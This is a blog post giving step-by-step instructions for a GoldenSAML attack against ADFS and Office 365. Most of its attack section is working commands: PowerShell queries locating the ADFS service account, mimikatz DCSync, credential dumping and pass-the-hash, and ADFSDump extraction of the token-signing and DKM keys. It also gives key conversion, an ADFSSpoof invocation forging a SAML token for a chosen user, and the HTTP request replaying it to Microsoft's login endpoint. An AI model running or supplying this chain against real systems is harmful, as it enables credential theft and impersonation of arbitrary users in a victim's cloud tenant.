Playing with GoldenSAML

Playing with GoldenSAML

There are a few blog posts out there on GoldenSAML, and lots of people explain how it works, but few have definitive step-by-step instructions for performing the attack. So here's a short blog post from my notes explaining how to perform a GoldenSAML attack.

WTF is GoldenSAML

Before diving into how to do the attack, you might be reading this, and this is the first time you have heard of this type of attack.

Making the Attack - Step-By-Step

Existing Resources

Tools Required

Attack Setup

Pre requisites for attack, the following need to be gathered

User Email/UPN - User to be impersonated
User ObjectGUID - Respective GUID for said user to be impersonated
DKM Key - Gathered in steps below
TKS Key - Gathered in steps below
Domain - Domain as seen by STS/ADFS/O365

Find The Service Account

Look for the GMSA user, using services.msc look for AD Federation Service and the user running the services or the following Powershell commands can be used:

ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered

Get-ADObject -filter { ServicePrincipalName -contains "*adfs*" -or ServicePrincipalName -contains "*STS*" -or ServicePrincipalName -contains "*FS*" }

ADFS User/Service/computer Accounts

Get-ADObject -filter { samaccountname -like "*adfs*" -or description -like "*adfs*" -or description -like "*aadc*" }

Dump NTLM for AADSync user

  • .\mimikatz.exe "lsadump::dcsync /user:TARGETADFSUSER$"
  • .\mimikatz.exe "seckurlsa::logonpasswords" - Can be used on the Box where ADFS lives to dump out the credentials

Start a terminal as the AADSync user using PTH

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6"

ADFSDump

Run ADFSDump.exe on the server where ADFS Lives and it will dump out both the TKS key and the DKM key.

Alternatively I have ported this to PowerShell so you can run ADFSDump-PS and it'll do the same thing but in purely PS, it can be found here

Copy the bottom Private Key and save as DKM.bin, convert the B64 encoded string to TKS.bin:

Convert TKS.txt to TKS.bin

cat TKSKey.txt | base64 -d > TKSKey.bin

Convert DKM.txt to DKM.bin

cat DKM.txt | tr -d "-" | xxd -r -p > DKM.bin

  • tr -d "-" -> Deletes all -'s
  • xxd -r -p -> Read Hexdump

Get Impersonate User GUID

Get-ADUser TargetUser

ADFS Spoof

python3 ADFSSpoof.py -b tks.bin dkm.bin --server DOMAIN.COM o365 --upn [email protected] --objectguid {GUID FROM Get-ADUser}

SAML Token

Use token generated to spoof request to login.microsoftonline.com

POST /login.srf HTTP/1.1
Host: login.microsoftonline.com
Connection: close
Content-Length: 7962
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
DNT: 1

wa=wsignin1.0&wresult={ADFS Spoof}

Attack Path Commands:

DKM COmmand:

$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new('LDAP://CN=1fd438a8-bfe5-4332-be04-158dfbfad8b8,CN=ADFS,CN=Microsoft,CN=Program Data,DC=ad,DC=techtonik,DC=xyz'))
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter='(&(objectclass=contact)(!name=CryptoPolicy)(thumbnailPhoto=*))'
$ADUser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailPhoto"][0]
[System.BitConverter]::ToString($key)

Opt 2:

$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new('LDAP://CN=1fd438a8-bfe5-4332-be04-158dfbfad8b8,CN=ADFS,CN=Microsoft,CN=Program Data,DC=ad,DC=techtonik,DC=xyz'))
$ADSearch.Filter = '(name=CryptoPolicy)'
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne() 
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
[System.BitConverter]::ToString($key)

Opt 3:

$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=ad,DC=techtonik,DC=xyz" -Properties thumbnailPhoto).thumbnailPhoto
[System.BitConverter]::ToString($key)